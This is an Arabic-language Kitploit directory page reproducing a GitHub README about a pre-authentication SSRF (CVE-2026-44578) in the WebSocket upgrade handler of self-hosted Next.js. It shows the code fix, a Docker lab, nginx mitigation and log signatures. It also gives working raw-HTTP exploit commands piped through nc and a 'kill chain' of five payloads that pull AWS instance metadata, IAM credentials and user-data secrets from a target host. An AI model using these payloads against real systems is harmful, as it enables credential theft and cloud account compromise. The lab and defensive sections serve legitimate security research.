Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-44578 — CVE-2026-44578: ثغرة SSRF في ترقية WebSocket في Next.js — سرقة بيانات الاعتماد قبل المصادقة عبر localhost:80. مختبر + استغلال + تدقيق. | Kitploit
أدوات/GitHubGitHub/dinosn/cve-2026-44578
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن السحابةالتعلم والتعليممختبرات وتدريب عملي
GitHubdinosn/cve-2026-44578

CVE-2026-44578

CVE-2026-44578: ثغرة SSRF في ترقية WebSocket في Next.js — سرقة بيانات الاعتماد قبل المصادقة عبر localhost:80. مختبر + استغلال + تدقيق.

عرض المستودع
923منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-44578 — ثغرة SSRF في ترقية WebSocket في Next.js

ثغرة تزوير الطلبات من جانب الخادم (SSRF) قبل المصادقة في عمليات نشر Next.js المستضافة ذاتيًا.
طلب HTTP واحد مصمَّم بعناية يستخرج بيانات اعتماد AWS والأسرار وبيانات الخدمات الداخلية من localhost:80.

الحقلالقيمة
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 عالية (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
النوعSSRF (CWE-918)
النسخ المتأثرةNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (للاستضافة الذاتية فقط)
النسخة المصححة15.5.16, 16.2.5
المصادقة المطلوبةلا شيء
تفاعل المستخدملا شيء

الثغرة

معالج ترقية WebSocket في router-server.ts يستدعي proxyRequest() كلما كانت قيمة parsedUrl.protocol صحيحة (truthy) — دون التحقق من علامتَي إتمام التوجيه finished وstatusCode اللتين كان معالج HTTP يفرضهما دائمًا.

root@kitploit:~
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

بعد أن يختزل normalizeRepeatedSlashes النمط http:/// إلى http:/، يصبح اسم المضيف فارغًا (null) ويتصل http-proxy بـ localhost:80 بالمسار الصحيح. أي خدمة مشاركة على نفس المضيف (بيانات تعريف السحابة، لوحات الإدارة، واجهات برمجة التطبيقات الداخلية) تصبح مكشوفة.


أمر الاستغلال

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

لا يمكن لـ curl إرسال URIs بالصيغة المطلقة. استخدم TCP الخام: nc أو ncat أو socat أو مقابس Python.


كيف تعمل الثغرة

root@kitploit:~
Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

إعادة الإنتاج في المختبر

المتطلبات الأساسية

  • Docker + Docker Compose
  • Python 3.10+
  • nc (netcat)

الإعداد

root@kitploit:~
git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

يؤدي هذا إلى تشغيل 5 حاويات:

الحاويةالدورالمنفذ المكشوف
nextjs-vulnNext.js 15.5.15 (قابلة للاختراق)localhost:3000
nextjs-fixedNext.js 15.5.16 (مصححة)localhost:3001
imds-sidecar-vulnمحاكي AWS IMDSv1 يتشارك الشبكة مع النسخة القابلة للاختراقlocalhost:80 (من منظور النسخة القابلة للاختراق)
imds-sidecar-fixedمحاكي AWS IMDSv1 يتشارك الشبكة مع النسخة المصححةlocalhost:80 (من منظور النسخة المصححة)
internal-apiمحاكاة خدمة داخلية—

تستخدم الحاويات الجانبية IMDS خيار network_mode: "service:nextjs-*" بحيث تكون خدمة البيانات التعريفية الوهمية على localhost:80 داخل حاوية Next.js — لمحاكاة مثيل سحابي حقيقي.

تشغيل الاستغلال

root@kitploit:~
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

إيقاف التشغيل

root@kitploit:~
./teardown.sh

الأدلة

1. تشغيل المختبر

جميع الحاويات تعمل — النسخة القابلة للاختراق (15.5.15) على :3000، والنسخة المصححة (15.5.16) على :3001، والحاويات الجانبية IMDS تتشارك مساحات أسماء الشبكة.

تشغيل المختبر

2. SSRF — قائمة بيانات AWS التعريفية

طلب واحد يُرجع دليل بيانات EC2 التعريفية بالكامل (ami-id وinstance-id وiam/ وplacement/ وغيرها).

قائمة البيانات التعريفية

3. SSRF — استخراج بيانات اعتماد IAM

مجموعة بيانات اعتماد IAM كاملة: AccessKeyId وSecretAccessKey وToken وExpiration.

بيانات اعتماد IAM

4. SSRF — أسرار User-Data

سكربت التمهيد user-data في EC2 يحتوي على DB_PASSWORD وAPI_KEY.

أسرار User-Data

5. SSRF — هوية المثيل

تم استخراج معرّف المثيل عبر نفس ناقل هجوم SSRF.

معرّف المثيل

6. المثيل المصحح — تم الحظر

نفس الحمولة مُرسلة إلى Next.js 15.5.16. يُغلق الاتصال فورًا — لا يتم إرجاع أي بيانات.

تم حظر النسخة المصححة

7. سجلات IMDS — دليل التنفيذ من جانب الخادم

سجلات IMDS الوهمية تُظهر طلبات GET قادمة من 127.0.0.1 (عملية Next.js)، مما يثبت أن هجوم SSRF يحدث من جانب الخادم.

سجلات IMDS

8. مجموعة PoC الكاملة — النسخة القابلة للاختراق (7/7 مؤكدة)

جميع اختبارات SSRF السبعة تُرجع بيانات حساسة من المثيل القابل للاختراق.

المجموعة الكاملة — النسخة القابلة للاختراق

9. مجموعة PoC الكاملة — النسخة المصححة (0/7 محظورة)

تم حظر جميع الاختبارات السبعة على المثيل المصحح. تم تأكيد نجاح الإصلاح.

المجموعة الكاملة — النسخة المصححة


حمولات سلسلة القتل

root@kitploit:~
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

استبدل T بمضيف الهدف وROLE باسم دور IAM.


القيود

القيدالتفاصيل
طريقة HTTPGET فقط
الهدفlocalhost:80 (يُحذف اسم المضيف عبر التطبيع)
AWS IMDSv2غير قابلة للاستغلال (تتطلب PUT)
بيانات GCP التعريفيةغير قابلة للاستغلال (ترفض ترويسة Upgrade)
الاستضافة على Vercelغير متأثرة
خلف بروكسي عكسيnginx/Caddy/HAProxy تحظر URIs بالصيغة المطلقة

الكشف والتخفيف

root@kitploit:~
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}

على AWS: فرض IMDSv2 (HttpTokens=required).

توقيعات السجلات:

  • Failed to proxy http:/ — تم تشغيل البروكسي لكن الهدف غير قابل للوصول
  • الصيغة http:///path لا تُنتج أي سجل خطأ — راقب ترقيات WebSocket التي تحتوي على http: في سطر الطلب

المراجع

المصدرالرابط
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-44578
GHSAhttps://github.com/advisories/GHSA-c4j6-fc7j-m34r
الالتزام بالإصلاحhttps://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
تحليل Hadrianhttps://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2
PoC عام (nextssrf)https://github.com/ynsmroztas/nextssrf

إخلاء المسؤولية

لأغراض اختبار الأمان المصرح به والتعليم والبحث الدفاعي فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.

تنزيل الأداة